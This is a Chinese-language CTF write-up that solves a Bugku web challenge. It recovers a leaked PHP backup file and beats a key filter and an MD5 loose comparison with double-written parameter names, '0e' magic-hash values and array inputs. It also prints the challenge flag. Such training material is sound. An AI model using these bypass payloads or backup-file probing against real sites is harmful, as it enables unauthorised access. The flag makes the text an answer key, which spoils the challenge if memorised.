CTFer成长记录——CTF之Web专题·bugku—备份是个好习惯
一、题目链接
https://ctf.bugku.com/challenges/detail/id/83.html?id=83
二、解法步骤
打开网站,发现是一串字符串:
解码:[空密码]/[Empty String],无结果。题目提示“备份是个好习惯”,那么尝试访问index.php.bak和index.php.swp,这两个文件,看看存不存在。
于是在index.php.bak中获取到了一段代码文件:
de_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
通过代码审计:
$str = strstr($_SERVER['REQUEST_URI'], '?');
获取当前页面 URL 中?
后面的部分。$str = substr($str,1);
去掉$str
第一个字符(即去掉?
)。$str = str_replace('key','',$str);
将字符串中的key
替换为空字符串。if(md5($key1) == md5($key2) && $key1 !== $key2)
判断$key1
的 MD5 哈希值是否等于$key2
的 MD5 哈希值,并且$key1
不等于$key2
。- 如果条件满足,则输出
$flag."取得flag"
因此,这题是一个双写绕过和md5弱比较绕过,于是我们构造如下payload:
?kkeyey1=s878926199a&kekeyy2=s155964671a
,这段payload利用了md5的值也是字符串,只要能确保他们都是0e开头,那么通过弱比较后的值就都为0;
flag{30dc9a980306fc42b9603c068a709545}取得flag。
当然,也能利用数组MD5返回为NULL的特性也能解决,构造payload:?kkeyey1[]='aaa'&kekeyy2[]='bbb'
也可以获得flag
三、总结
本题考察源码泄露中的备份文件泄露,如果不知道备份文件的格式,可以用kali自带的disearch扫下网站;接着是比较常见的双写绕过与MD5弱比较绕过,比较简单。主要是要看懂代码。